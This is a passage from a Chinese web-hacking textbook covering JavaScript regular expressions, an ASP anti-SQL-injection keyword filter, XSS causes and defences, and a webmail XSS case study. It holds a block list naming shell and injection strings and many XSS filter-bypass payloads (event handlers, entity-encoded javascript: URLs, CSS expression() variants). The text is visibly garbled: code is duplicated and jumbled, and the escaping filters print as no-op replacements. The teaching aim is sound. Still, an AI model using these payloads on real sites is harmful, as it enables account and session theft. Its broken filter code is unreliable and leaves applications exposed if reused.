          使用构造函数RegExp()创建正则表达式的一般格式为: Var varname = new RegExp("pattern"[, "flags"])

          其中,varname是变量名称,该变量用于保存新创建的正则表达式;pattern为指定匹配模式的正则表达式;flags是零个或多个可选项,方括号表示flags参数可以省略。在这里,pattern和flags参数都可以是字符串变量。例如:

          Var country = new RegExp("脚本黑客"); Var reobj = new RegExp("脚本黑客", "ig")

        3. 正则表达式对象的方法

        正则表达式对象RegExp提供两种方法:test()和exec()。这两个函数的语法分别为: test(string)

        功能为:测试字符串string是否包含了匹配该正则表达式的子串,如果包含了这样的子串,那么函数返回ture,否则返回false。

        exec(string)

        功能为:在字符串string中进行匹配搜索,并将结果保存在一个数组中返回;如果没有找到匹配的子串,那么返回null。

        下面分别来介绍这两种方法的使用技巧。

        (1)、test()

        正则表达式对象RegExp的test()方法用于检测字符串中是否包含正则表达式指定的模式,包含指定的模式返回ture,否则返回false。完成检测后,RegExp对象的lastIndex属性包含了下一次字符串搜索的开始位置。如果进行全局搜索,那么lastIndex属性的值最后一个匹配字符串后面一个字符的位置。使用test()

        方法进行正则表达式匹配测试的一般过程为:

        ①、使用一个变量,将正则表达式赋值给这个变量

        ②、使用该正则表达式的test()方法,检测字符串中是否包含该正则表达式指定的模式。例如:var mastring = "精通脚本黑客";

        var hack = /黑客/ //文字量方法创建正则表达式

        var script = new RegExp("黑客"); //构造函数方法创建正则表达式 script.test(mastring); //在字符串mastring中搜索模式/黑客/

        另外,也可以直接使用文字量正则表达式的test()方法:

        /黑客/.test("精通脚本黑客");

        我们举个完整的例子来具体说明,代码如下:

        <html>

        <head>

        <title>test()方法</title>

        <script language = "JavaScript"> var myString="精通脚本黑客";

        var myregex = new RegExp("黑客"); // 创建正则表达式 if (myregex.test(myString)){ //判断条件是否成立

        alert("找到了指定的模式!");

        }

        else{

        alert("未找到指定的模式。");

        }

        </script>

        </head><body></body>

        </html>

        代码编写好了之后,运行的结果如图4-54所示。

        image

        图4-54

        (2)、exec()

        exec()方法忽略了正则表达式中的g选项。执行exec()方法后,正则表达式对象的

        lastIndex属性的值是我们在前一次匹配字符串后面的第一个字符的位置,不过需要注意的是这里是从零开始计数的。所以,利用这个特性,可以得到字符串中与正则表达式相匹配的所有子串。exec()方法返回的数组对象有一个扩展属性,一般的数组是没有这个特性的,我们称为index,它给出了匹配字符串的开始位置。此外,该数组还有另外一个扩展属性,称为input,它给出了被搜索字符串。这样说大家可能很难理解,下面举个例子来具体说明,请看示例4-26,里面用到了上面的所有知识点,不懂的朋友可以通过代码和代码执行后的结果来理解。代码如下:

        <html>

        <head>

        <title>正则表达式对象exec()方法应用演示 </title>

        <script language = "JavaScript">

        var myString="aaa 111 bbb 222 ccc 1111 222ddd"; var regex = /111/; //创建正则表达式对象

        var array=regex.exec(myString); // 使 用 <html>

        <head>

        <title>正则表达式对象exec()方法应用演示 </title>

        <script language = "JavaScript">

        var myString="aaa 111 bbb 222 ccc 1111 222ddd"; var regex = /111/; //创建正则表达式对象

        var array=regex.exec(myString); //使用exec()方法 if (array){

        var str="找到了匹配子串!"+"\n返回数组的值为:"+array+"\n数组元素个

        数:"

        }

        +array.length+"\n被搜索的字符串为:"+array.input

        +"\n匹配子串的开始位置为:"+array.index

        +"\n匹配子串后面第一个字符的位置为:"+regex.lastIndex; alert(str);

        else{

        alert("未找到匹配子串!!");

        }

        </script>

        <body></body>

        </html>

        代码运行了之后,得到了如图4-55所示的效果。

        image

        图4-55

      3. 正则表达式的字符串对象的常用方法

        上面我们讲的test()和exec()方法是属于正则表达式对象的方法,而接下来我们要讲的是正则表达式的字符串对象的方法,这点大家要分清楚哦。在程序中除了可以使用正则表达式对象的方法test()和exec()进行字符串测试和匹配之外,还可以用字符串对象的方法来完成这些任务。在完成某些操作的时候,他们可能更加简单和有效。表4-11列出了这些方法的名称及其简要功能。

        方 法 功 能

        Match(regex) 在一个数组中返回与正则表达式regex相匹配的子串

        Replace(regex,replacement) 将字符串中regex指示的子串替换为replacement

        Search(regex) 查找正则表达式regex指示的模式在字符串中的开始位置

        Split(regex) 使用正则表达式regex分割字符串,并将分割结果以数组形式返回

        表4-11

        上面的四个方法与黑客技术紧密相关的要数Replace(regex,replacement)了,在4.6.4节中要讲的通用防注入系统就是利用这个方法来完成的。其他的方法不是那么的密切,所以再这里我就详细说一下Replace()方法,其他的方法大家可以去看光盘里自带的电子书,里面也有介绍。

        字符串对象的Replace()方法用于搜索字符串,并用另一个字符串替换搜索到的子串。在指定搜索模式时,可以将其指定为一个字符串,也可以是一个正则表达式。Replace()的调用格式为:afterString = beforeString.replace(regular_expression,replacement_value);

        其中,afterString是完成替换后的字符串;beforeString是替换前的字符串;

        regular_expression是指定匹配模式的正则表达式;replacement_value是替换后的内容。下面我们就来演示一下Replace()方法的效果,示例4-27的代码如下:

        <html>

        <head>

        <title>字符串对象replace()方法演示 </title>

        </head>

        <body bgcolor="lightgrey">

        <font size="+1">

        <font face="宋体">

        <script language = "JavaScript">

        <!--

        var oldString="哈哈精通哈哈脚本哈哈黑客哈哈"

        var regex = /哈哈/g; //一个全局替换的正则表达式 var newString=oldString.replace(regex, "嘿嘿"); document.write(newString +"<br>");

        // -->

        </script>

        </body>

        </html>

        在这个例子中,是把oldstring中的"哈哈"替换成"嘿嘿",然后输出,如图4-56所示。

        image

        图4-56

      4. 初识防注入程序

        在第二章我已经花了比较大的篇幅来给大家将注入攻击了,这是在脚本里最为重要的攻击手法。当然这种漏洞也是有办法进行防御,目前网络上很多系统都采用的是通用防注入系统的。下面就让我们来认识一下吧。

        通过对第二章的学习,大家对手工注入攻击应该都很熟悉了,都明白在手工注入的时候要用到哪些代码,在这里就不详细那些代码,如果还有哪位不熟悉的话,可以返回到第二章去参考。

        下面我给大家介绍一个由VBScript编写的SQL通用防注入系统,在后面我会给大家解释每一条代码,代码如下:

        1 < %

        1. On error resname next

        2. Dim Sqlstr,error,num

        3. Sq lstr= request.servervariables("query_string")

        4. dim sqlkey(18)

        5. sqlkey(0)= "net user"

        6. sq lkey(1)="xp_cmdshell"

        7. sqlkey(2)= "/add"

        8. sq lkey(3)="exec%20master.dbo.xp_cmdshell"

        9. sqlkey(4)= "net localgroup administrators"

        10. sqlkey(5)="select" 12 sq lkey(6)="count" 13 sqlkey(7)= "asc"

        1. sqlkey(8)= "char"

        2. sqlkey(9)= "m id" 16 sq lkey(10)="'" 17 sq lkey(11)=";" 18 sqlkey(1 2)= """"

        1. sq lkey(13)="insert"

        2. sq lkey(14)="delect"

        3. sq lkey(15)="drop"

        4. sq lkey(16)="truncate"

        5. sq lkey(17)="from"

        24 sq lkey(19)="%"

        1. error= false

        2. for num=0 to ubound(deStr)

        3. if instr(Sqlstr,sqlkey(num))<>0 then 28 error= true

        1. e nd if

        2. next

        3. if error then

        4. R esponse.Write("您输入的数据中含有攻击字符,请不要尝试攻击!");

        5. resp onse.end 34 e nd if

        35 % >

        第1行和35行的两个符号表示ASP程序的开始与结束。第2行表示出错后继续执行。第3行定义数据库查询语句Sqlstr,出错误标志error,计数器num。第4行中request是ASP中的一个对象,servervariablevs是request对象的一个集合,它是获得客户端请求的HTTP报头值,已经一些Web服务器环境变量值的集合。这里是将服务器提交的查询语句赋给Sqlstr。第5行定义了查询关键字数组sqlkey,共19个元素。第6行定义了过滤关键字net user,从第

        6行开始到24行都是为要过滤的关键字,供19个常用的SQL注入关键字,如果还有其他没有写上去的关键字,只要增加数组的容量,然后加进去就可以了。第25行为置出错标志为否,即默认不出错。ubound()函数是返回数组的指示最大可用下标,这里为18,第26行为一个for循环依次检查数组中的每一个字符。第27行中的instr()函数是返回某字符串在另一字符串中第一次出现的位置,这里起的作用是查询提交连接中如有19个关键字则置为error为真。第32行,如果error为真,那么就输出“您输入的数据中含有攻击字符,请不要尝试攻击!”。

        这就是整个系统的解释,是不是有一些头晕了呢,我在来给大家理顺一下,首先编写一个数组,里面为SQL攻击的关键字。取得每一个从客户端输入的数据,然后利用for循环和instr函数检测客户端输入的数据中是否含有数组中的SQL攻击关键字,如果有就输入“您输入的数据中含有攻击字符,请不要尝试攻击!”,否则系统就正常运行。

    4. 跨站攻击详解

      1. 跨站漏洞的成因

        跨站漏洞现在非常的普遍,其危害也是比较大的,在第二章中,已经给大家实例讲解了一些跨站攻击的方法及思路。跨站漏洞的也稍微提及了一下,不过还是不够详细和全面。下面就给大家全面的介绍一下跨站漏洞的成因,在这里我就引入由剑心[B.C.T]写的《跨站脚本攻击攻防之我见》和《也谈跨站脚本攻击与防御》中的部分内容。

        跨站漏洞的成因主要是用户提交的变量没有经过完整过滤Html字符或者根本就没有经 过过滤就放到了数据库中,并且在一些地方又直接从数据库中取出来返回给来访问的用户,这就导致了跨站脚本漏洞的产生。换种更通俗的说法就是

        跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下:恶意用户的Html输入————>web程序————>进入数据库

        ————>web程序————>用户浏览器。这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了,我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了!因为一个恶意用户提交的Html代码最终被其他浏览该网站的用户访问,通过这些Html代码也就间接控制了浏览者的浏览器,就可以做很多的事情了如窃取敏感信息,引导访问者的浏览器去访问恶意网站等,这样就是导致了跨站脚本漏洞的产生。

        根据上面的说明我们大概清楚了漏洞是如何产生的,知道如何产生的了我们就可以针对产生的原因进行防御了。整个过程中用户提交的内容和用户的访问我们是无法控制的,我们能控制的也就是程序如何去处理用户提交的数据,只要在用户提交的内容在进入数据库之前进行有效的控制和处理,就可以不必担心数据对于浏览的用户构成威胁了。但是到底该怎么处理用户的数据呢?我看到很多的程序都做了一些过滤,但是感觉都很杂乱,思路不清晰,有种隔靴搔痒的感觉,非常容易产生安全问题,这里我们来分析下黑客是如何利用跨站脚本,以及导致漏洞的根本原因,也就知道该如何处理用户的数据从而避免跨站脚本漏洞了!

        因为是Html字符没有过滤,也就是说跨站脚本是对Html的利用,那我们就从Html的特性着手开始分析该过滤哪些字符吧(因为是小菜,分析得不好表PK偶)!

        通过第三章的学习,大家都知道Html里的代码执行时都会有个叫做Html标记的东西,也就是我们经常见到的<td>还有<script>这样的东西,当浏览器遇到一个以<开头的标签时就会认为产生了一个Html标记,他就会用自己内部的机制去响应和解释这些标签。譬如

        <script>这样的内容一旦出现,浏览器将认为产生一个脚本标记并且将其后面的内容当作 javascrip来解释执行,直到出现</script>结束。我们可以看出浏览器的所有输出操作都是由这些<>标记控制的,他只是解释这些标记并且产生动作或者把结果返回给用户,其他的都当成普通字符显示。这样的话如果用户提交的内容是<script>alert("Test!")</script>并且没有任何过滤,然后又从数据库里取出来直接显示的话,就会在其他的来访者浏览器里执行代码了,这里仅仅是弹出个对话框而已。为了方便演示,这里用asp写了一个简单的程序如下(算是先对ASP有一个感性的认识,对于ASP代码我会给大家解释的,大家不用害怕):

        <% //这是ASP的标记 str=trim(request("a"))

        //request对象作用是获取客户端表单中输入的数据 response.write str

        //response也是ASP的一个对象,write是它的一个方法,其作用是往页面中输出//数据,在

        这里就是在页面中输出str response.write "<br>"

        response.write "<img src="&str&"></img>"

        %>

        很简单的一个程序,就是把用户提交的内容直接显示出来和构造一个地址由用户提交的img标签显示图片。很明显这没有经过任何的过滤,后面我们将模拟攻击这个程序来考虑该如何防御这种攻击。然后构造一个简单的提交表单:

        <form action=test.asp>

        <textarea name=a></textarea>

        <input type=submit value=test>

        </form>

        访问这个html并且在提示框里输出<script>alert("呵呵,漏洞!")</script>,提交后就可以看到弹出对话框了,如图4-57所示。

        image

        图4-57

      2. 跨站漏洞攻击与防御详解

        通过上一节的介绍,我想大家应该也对跨站脚本的漏洞的成因有很深刻的认识了,下面我来具体谈谈跨站漏洞攻击与防御。在上一节中,我们谈到了HTML是跨站是根源,所以其本质也是HTML标签,但在我们程序中的标签有两种情况之分,一种是用户自己构造标签,上一节的例子就的典型了;第二种是利用系统提供的标签,在第三章的头像跨站攻击中,这也是

        一个典型。所以接下来我就分两种情况来具体讨论。

        (1)、什么是UBB编码

        UBB代码是HTML的一个变种,是Ultimate Bulletin Board (国外的一个BBS程序)采用的一种特殊的TAG。UBB代码很简单,功能很少,但是由于其Tag语法检查实现非常容易,所以我们的网站引入了这种代码,以方便网友使用显示图片/联接/加粗字体等常见功能。这里讲给出UBB代码使用的几个例子。

        1.有两种方法可以加入超级连接,可以连接具体地址或者文字连接。 [URL]http://www.smallstick.net/[/URL] //或直接输入网址,系统自动设置为超级链接。 [URL=http://www.smallstick.net/]smallstick[/URL]

        2.显示为粗体效果 [B]文字[/B] 3.显示为斜体效果 [I]文字[/I] 4.显示为下划线效果 [U]文字[/U] 5.文字位置控制

        在文字的位置可以任意加入您需要的字符,center 位置 center 表示居中,left 表示居左,

        right 表示居右,justify 表示两端对齐

        [ALIGN=center]文字[/ALIGN]

        6.加入邮件连接有两种方法可以,可以连接具体地址或者文字连接 [EMAIL]webmaster@smallstick.com[/EMAIL] [EMAIL=Mailto:webmaster@smallstick.com]smallstick[/EMAIL]

        7.插入图片,并可以点击图片打开新窗口查看图片。 [IMG]http://www.smallstick.com/images/logo.gif[/IMG]

        //插入图片,指定边框大小及对齐方式 [IMG=2,right]http://www.smallstick.com/images/logo.gif[/IMG]

        8.插入MicroMedia 的Flash [swf]http://www.test.com/flag.swf[/swf]

        [swf=宽度,高度]http://www.test.com/flag.swf[/swf]

        9.实现文字飞翔效果(跑马灯)。 [FLY]文字[/FLY]

        11.实现文字颜色改变。

        [COLOR=颜色]文字[/COLOR]

        12.实现文字大小改变。

        [SIZE=数字]文字[/SIZE]

        13.实现文字字体转换。

        [FACE=字体]文字[/FACE]

        15.插入 RealPlayer 格式的 rm 文件。 [RM=]http://....[/RM]

        [RM=宽度,高度]http://....[/RM] 16.插入为 Midia Player 格式的文件。 [MP=]http://....[/MP]

        [MP=宽度,高度]http://....[/MP]

        (2)、什么是HTML输入

        这里给出一个HTml代码的示例:<img src="http://www.loveshell.jpg" width=100 onerror=alert("载入图片错误!")>

        很多的程序最终都是将用户的输入转换成这种形式的。可以看到<>是告诉浏览器这是一个Html标记,img是这个Html标记的名称,src是这个标记的第一个属性,=后面是这个属性的值,后面的width是第二个属性,onerror是标记的事件属性。大家可以看到,一个Html标记是包括很多元素的,并不是传统意义上的只有输入<>才会注入Html,事实上只要你的输入处在Html标签内,产生了新的元素或者属性,就实现了跨站脚本攻击!实际上大多数隐秘的跨站脚本攻击是不需要<>的,因为现在的Ubb标签已经让你处在了Html标记之内。

        (2)、哪里才是罪恶的来源

        既然我们的目标是引入代码在目标用户的浏览器内执行,那么我们来看看哪些地方可以引入 HTml 代码吧!如果用户可以不受限制的引入<>,那么很显然他可以完全操纵一个 Html标记,譬如<script>alert('xss')</script>这样的形式,这对于追求安全的程序来说是绝对不允许的,所以首先要做转换的就是<>,通过如下代码:

        replace(str,"<","<")

        replace(str,">",">")

        HTML 支持&#ASCii 这样的编码,其功能于 HTML 是一样的,其中这里表示的 ASCII 码是十六进制,这里我给出里 ASCII 码的转换表,如表 4-12 所示。

        Char

        0

        1

        2

        3

        4

        5

        6

        7

        8

        9

        Hex

        30

        31

        32

        33

        34

        35

        36

        37

        38

        39

        Char

        A

        B

        C

        D

        E

        F

        G

        H

        I

        J

        K

        L

        Hex

        41

        42

        43

        44

        45

        46

        47

        48

        49

        4A

        4B

        4C

        Char

        M

        N

        O

        P

        Q

        R

        S

        T

        U

        V

        W

        X

        Hex

        4D

        4E

        4F

        50

        51

        52

        53

        54

        55

        56

        57

        58

        Char

        Y

        Z

        a

        b

        c

        d

        e

        f

        g

        h

        i

        j

        Hex

        59

        5A

        61

        62

        63

        64

        65

        66

        67

        68

        69

        6A

        Char

        k

        l

        m

        n

        o

        p

        q

        r

        s

        t

        u

        v

        Hex

        6B

        6C

        6D

        6E

        6F

        70

        71

        72

        73

        74

        75

        76

        Char

        w

        x

        y

        z

        Hex

        77

        78

        79

        7A

        表 4-12

        好了,用户可能不能构造自己的 HTml 标记了,那么利用已经存在的属性如何呢?下面的代码依然可以工作得很好:

        <img src="javascript:alert(/xss/)" width=100>

        因为很多的 Html 标记里属性都支持 javascript:[code]的形式,很好,很多的程序意识到了这一点,可能做了如下的转换:

        过滤代码

        Dim re

        Set re=new RegExp //创建一个正则表达式对象

        re.IgnoreCase =True // IgnoreCase 属性表示正则表达式选中了 i 选项

        re.Global=True //global 属性表示正则表达式选中了 g 选项

        re.Pattern="javascript:"

        Str = re.replace(Str,"javascript:") //过滤 javascript re.Pattern="jscript:"

        Str = re.replace(Str,"jscript:") // 过 滤 jscript re.Pattern="vbscript:"

        Str = re.replace(Str,"vbscript:") //过滤 vbscript set re=nothing

        你看,只要发现以 javascript 等脚本属性的形式都会被过滤掉,失去了:的脚本代码是起不了作用的!这样完美了么?事实上 Html 属性的值,注意是值而不是属性本身是支持&#ASCii这种形式表示的,譬如上面的代码可以换成这样:

        <img src="javascrip&#116&#58alert(/xss/)" width=100>

        代码又执行了,呵呵!看来你漏掉了点什么哦,加上这个代码吧!

        replace(str,"&","&")

        行了,&失去它原来的意义了,用户不能以其他方式表示 Html 属性值了哦!等等,这样的过滤真可以相信么?只要发现这种过滤的关键字机制,饶过就是简单的问题了:<img src="javas cript:alert(/xss/)" width=100>

        没有 javascript 关键字了哦!注意中间那个是 tab 键弄出来的!关键字被拆分了哦!这是个很麻烦的问题,很多人忘记了这些特殊的字符,呵呵!有人想到要过滤空格了,在过滤之前我们再看看其他的一些东西吧!也许我们现在所处的 src 属性已经无法利用了,但是我们依然可以产生自己的属性或者事件机制哦!依然是可以执行 Html 代码的,首先说说事件机制吧:

        <img src="#" onerror=alert(/xss/)>

        这样依然可以执行代码的哦!明白问题出在哪了,不是么?有的程序员仿佛明白了,注意我说的是仿佛,动网就是一个典型的例子,事件属性不是要 onerror 么?很多人开始用正则表达式了,发现关键的词如 onerror 就会做转换或者提示用户不执行,是不是没有机会了呢?当然不是的,事件只是让代码运行的一种方法而不是所有的,可以定义事件了那么也就

        可以实现自己弄出自己的属性了,试试下面的:

        <img src="#" style="Xss:expression(alert(/xss/));">

        呵呵,还是执行了哦!同时下面的七条代码也可以实现跨站,这里给大家推荐

        ①<style>input { left:expression(alert('xss'))} </style>

        ②<div style="{ left:expression(alert('xss'))}">

        ③<div style="{ left:exp/* */ression(alert('xss'))}">

        ④<div style="{ left:\0065\0078pression alert('xss'))}">

        ⑤html 实体 <di v style="{ left:expression(alert('xss'))}">

        ⑥全角<div style="{ left:xpression(alert('xss'))}">

        ⑦unicode <div style="{ left:expRessioN(alert('xss'))}">

        在做关键字过滤之后有人发现是不是属性之间分隔要用到空格,好,他们把空格堵死了

        (这样认为的人很多,呵呵)!将空格转成&nbsp;是个很普遍的方法?是么?甚至还可以让别人无法关键字拆分,不要太自信了,试试下面的代码看看如何:<img src="#"/**/onerror=alert(/xss/) width=100>

        嘿嘿,Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的!那怎么办呢?上面提到的好象一直都是在进行被动的攻击防御,为什么不抓住他的本源出来呢?哪里出了问题哪里堵上!

        (3)、防止用户构造自己的Html标记

        由这个分析可以看出,我们第一个要过滤的就是用户提交变量中的<和>,这样用户不就不能按照他的意愿产生html标记了,很对,所以我们第一个要消灭的就是<>这个罪魁祸首!这主要在一些文章系统以及BBS发帖子还有就是留言本提交的留言中,需要进行过滤,因为这些程序都是直接从数据库中取出数据然后一个response.write样的形式(asp中)返回给用户浏览器的,如我们的演示程序。

        过滤代码: replace(str,"<","<")

        replace(str,">",">")

        (4)、防止来自标签属性的攻击

        用户现在不能自己产生Html标记了,是不是能安心了呢!当然不是,用户不能产生Html标记但是并不代表他不能在已有的Html标记里进行动作,这里的例子就很多了,一不小心就会被利用!譬如Ubb标签里的[img]code[/img]等当转换的时候会成为<img

        src=code></img>,看看,用户提交的code是不是在html标记里了。好的,假设你过滤了用户提交内容中的<和>,那我们看看这样的效果呢?图片地址是由用户控制的,我们输入

        javascript:alert("剑心是好人!"),就会构造好出这样的标记如下:

        <img src=javascript:alert("剑心是好人!")></img>

        <img src=vbscript:msgbox("BCT唯一的好人!")></img>是不是都完美的执行了?如图4-58所示。

        image

        图4-58

        这是因为用户提交的内容是在已有的Html标记的属性里,而属性又支持script这样的形式,代码依然执行,当然不只是img有这个特性,因为今天是来讨论如何防御的所以就不说其他的了,但是道理是一样的。看来光过滤<和>是没用的,用户利用已有的Html标记照样跨站不误。来分析下这样的跨站代码吧!用户不能产生自己的Html标记了,现在我们防御现有标记的属性。因为恶意用户使用的是javascript这样的属性,所以我们控制好用户的输入中不要存在javascript:和vbscript:这样的内容就行,或者注意用户要运行自己的跨站代码的话必须还有个:,所以也可以干脆过滤其中的:代码,来试试吧!代码还是和上面的一样,充分利用了正则表达式,详细代码大家看前面的,不过需要注意的是中文的:是不起作用的。好了,似乎可以了,过滤掉javascript和vbscript后面的:是很有用,但是我们知道html标签里的属性可以用转换了的Asc字符来表示,譬如<img src=javascript:alert("jiaxin is in loving!")></img>,转换src的属性内容部分为Asc形式的变成:<img src=javascrip&# 116&#58alert("jiaxin is in loving!")></img>,或者全部转换:<img src=&#106&#97&# 118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#34&#106&#

        105&#97&#120&#105&#110&#32&#105&#115&#32&#105&#110&#32&#108&#111&#118&#105&#110

        &#103&#33&#34&#41></img>,转换成十六进制的也可以,注意只有Html属性可以这样做的哦!像<img这些是不能这样转换的。试试看,提交后是不是代码又执行了?如图4-59所示。

        image

        图4-59

        呵呵,光过滤javascript这些关键字还是不保险的,如果用户提交&#106这样的形式转换一部分代码或者干脆完全转换就可以逃避检测再次攻击了,黑客们总是能找到一些办法饶过。所以我们还要特别关注用户提交的&#字符,一般的用户也用这样的用得少的。好了,破坏利用的条件就可以了,将&转换掉吧!,代码是replace(str,"&","&")。

        (5)、防止来自事件机制的威胁

        嘿嘿,是不是搞定了呢?不要高兴太早,我们来试试这样的形式吧!

        <img src=# onerror=alert("I love SW!")></img>

        <a href=# onmouseover=alert("剑心要毕业啦!")></a>

        嘿嘿,是不是都成功执行啦?如图4-60所示。看吧,攻击者没有提交<>字符,也没有用到

        javascript等标记,但是代码依然执行了!我们看看怎么回事,原来攻击者用空格分离了前面的src属性之后利用标记的事件机制启动他们的代码了,上面一个例子利用的是错误机制,后面的一个当鼠标从上面滑过的时候触发。知道了原理,如何防御也就出来了!攻击者要分离标签的属性,然后利用事件机制引发漏洞,我们破坏他的条件就可以啦!

        image

        图4-60

        方法一是转换掉提交过来的空格字符:replace(str," "," ");方法二是用"将后面的提交内容限定为一个字符串,这需要编写程序的时候注意。看看效果哦!变成<img src="# onerror=alert('剑心恋爱啦!')"></img>,这下子执行不了了吧!?如果你采用了第二种,好的,那么你还有一点危险没有躲过去,如果用户提交的内容里本身就有"呢?我们知道""之间的内容系统会把他当成是字符串,所以我们提交这样的内容试试 #" onerror=alert('TesT_BY_Jnc') ",变成<img src="#" onerror=alert('TesT_BY_Jnc') ""></img>,是不是又执行了?如图5所示。呵呵看来我们能用的东西黑客一样能用,好说,转换掉它!Replace(Str,"""",""")。如果你觉得还不够,那么属性里用到的一个东西是=号,保险点过滤了吧!代码是replace(str,"=","=")。

        通过前面的学习,我们已经知道了数据的转换和过滤是可以在 3 个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据的时候也可以转换下,但是困惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,譬如现在邮箱的就不愿意舍弃 html 标签,因为需要支持多资多彩的页面,所以他们侧重于 XSS 的 IDS 检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的,有限制,肯定就有人会饶过,呵呵。本文没什么技术含量,只是希望搞安全的脚本人员能更加的了解 Xss,跨站,不是那么简单滴!

        再次整理下我们的思路吧!先是要转换掉<>字符让用户不能建立自己的Html标记,然后防范已经有的Html标记,通过过滤javascript和特殊字符&可以阻止用户修改标记的属性为 script,然后通过"和空格的过滤使用户不能引发时间机制和重建其他的属性,将用户的输入限制在一个字符串内。在Html组成的战争里还是我们取得了胜利,呵呵。然后就是具体的过滤代码的编写了,很多的程序员干脆只允许用户输入某些字符,这样的确很安全但是却妨碍了正常用户,毕竟不是所有的用户都像BCT的人那样喜欢找漏洞。最后有一点需要注意的

        是过滤的顺序,建议由内到外过滤,先过滤用户提交的javascript等后就转换&特殊字符,再处理其他的,因为本身其他的处理会产生&字符的。我写好的代码如下:

        str=trim(str) //过滤空格 If IsNull(Str) Then

        //IsNull函数是判断Str是否为空,不为空就不执行下面的过滤 CheckStr = ""

        End if str=replace(str,"&","&")

        str=replace(str,":",":")

        str=replace(str,"=","=")

        str=replace(str,"<","<")

        str=replace(str,">",">")

        str=replace(str," "," ")

        str=Replace(Str,"""",""")

        这里去掉了对javascript和vbscript后面:的过滤,因为我们看到这种类型的攻击已经因为:的转换成为中文的:变得不能成功了,并且不会影响正常用户的输入和输出,你也可以自己加一些字符的过滤。不过这里只给出的代码只是对跨站脚本攻击的防范,对其他的攻击如sql等没有什么作用。

      3. 跨站漏洞实例解析

        在本节中,我就给大家引入三个跨站攻击的完整实例,让大家对跨站攻击有一个完整而全面的认识,而且有一个对系统渗透的完整思路,另外本节中的例子要比第二章的难度有所加大。不过我相信有前面的基础知识做保障,大家一定可以迅速掌握,并用到实际的攻击与防御中去。

        第一个例子是《Sina、TOM、SOHU、21CN、163、QQ、126、Yahoo等国内邮箱再暴跨站漏洞》,这篇文章是由我写的。第二个例子是《疯狂的跨站之行——7bao网站漏洞利用浅析》,这篇文章是由剑写的。第三个例子是《由在华夏黑客联盟挂马谈跨站脚本攻击之js注入》。

        (1)、Sina、TOM、SOHU、21CN、163、QQ、126、Yahoo等国内邮箱再暴跨站漏洞

        编辑点评:国内门户网站的邮箱再次难逃Hack噩梦,被测试过的Mail几乎都存在着不同程度的瑕疵。真没有想到,拥有众多用户的门户邮箱竟然如此不堪一击,是因为Mail的结构有天生缺陷?还是这些门户们对于用户安全不够重视?本期的饕餮盛宴为你展示在HACK精妙的代码之下邮箱的脆弱性是如何暴露的。

        从本文中你可以学到: 1、跨站的一些基本作法

        2、作者的一些思路

        在几个月前,国内的邮箱跨站漏洞被一些牛人们发现了,而且有详细的攻击方法和进入他人邮箱的演示过程。如今几个月过去了,邮箱的漏洞修补的怎么样呢?是否如人们想象的那么完美呢?经过我一番艰苦的对TOM、SOHU、21CN、163的邮箱黑箱测试,发现他们的安全性还是不尽人意,又出现了其他跨站漏洞。下面就仔细来分析他们的新跨站漏洞吧。

        一、TOM邮箱跨站

        1. HTML跨站

        我先注册一个SOHU的邮箱,然后给TOM邮箱发送一封邮件,在邮件的主题和内容上都输入跨站代码<script>alert("TOM跨站")</script>。在TOM邮箱收到邮件后打开,如图4-61所示。没有产生跨站效果,通过查看客户端代码发现都被转换了:

        <td class="TB_bg_EE" nowrap="nowrap">主题(Subject):</td>

        <td>&lt;script&gt;alert(&quot;TOM跨站&quot;)&lt;/script&gt;</td>

        ............省略代码

        <td >&lt;script&gt;alert(&quot;TOM跨站&quot;)&lt;/script&gt; <br>

        但是TOM提供了一个这样的功能,如图4-62所示。那就是可以下载整个邮件,而且下载回来本地后是用HTML格式保存的。下载到本地后我们打开这个文件就出现了跨站的效果了,如 4-63所示。

        image

        图4-61

        image

        image

        image

        图4-62

        图4-63

        为什么会出现这种情况呢?我们先来看看邮件的原文:

        ..........省略

        Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: 8bit

        <script>alert("TOM跨站")</script> //没有过滤

        <html>

        <head>

        <meta http-equiv="Content-Type" content="text/html; charset=GB2312"></head>

        <body>

        <!--SOHUMAIL_HTML_HEAD_END--><script>alert("TOM跨站")</script>

        //没有过滤

        <hr size=1><style type="text/css">

        <!--

        a {font-size:12px;color:black}

        a:hover {font-size:12px;text-decoration:underline}

        .b{font-family:Arial; font-size:80%; margin-bottom:2px;color:#0000CC}

        .pp{font-family:Arial;font-size:10px}

        -->

        </style>

        <table border=0>

        <tr><td height=18><a href=http://goto.sohu.com/goto.php3?code=mailadt-ta1

        target=_blank><font color=red>超大U盘免费等你拿</font></a>

        </td><td rowspan="2"><img src="http://outlook.mail.sohu.com/sohu-mail-logo.gif">

        </td></tr>

        <br>

        <tr><td height=18><a href=http://goto.sohu.com/goto.php3?code=mailadt-ta target=_blank>*用

        搜狗拼音写邮件,体验更流畅的中文输入>></a>

        </td></tr>

        </table>

        可以很清楚的看到原文的跨站代码没有被过滤,而且第二个跨站代码是在一个网页文件中。我们下载这个网页其实就是把原文中的部分代码下载了下来,但由于他里面的跨站代码并没有过滤,所以出现了跨站漏洞,而且只有一个跨站代码被执行了。不过这个漏洞还是有点奇怪,如果是用TOM邮箱给TOM邮箱发送跨站代码,这个漏洞就不存在了。

        2.签名跨站

        TOM邮箱一个比较好的功能是提供签名来识别邮件,如图4-64所示。但是他这里的签名确没有过滤好,比如我们输入的签名是跨站代码,如图4-65所示。修改后就出现了跨站效果,如图4-66所示。而且我们每次在写邮件时或者回复别人邮件时都弹出这个对话框。

        image

        图4-64

        image

        图4-65

        image

        图4-66

        我们在来看看客户端代码:

        <form name="sendmail" method="post" action="/cgi/ldmmapp? funcid=compose&sid=IAYFoBNfOWqAkIec">

        <input type="hidden" name="signoption" value="&lt;option

        value=&quot;1&quot;&gt;&lt;script&gt;alert(&quot;TOM签名跨站&quot;)

        //跨站代码被转换了 &lt;/script&gt;&lt;/options&gt;" >

        ........................................省略代码

        <input type="checkbox" name="ifsavetosent" value="y" >保存到发件箱 使用我的签名

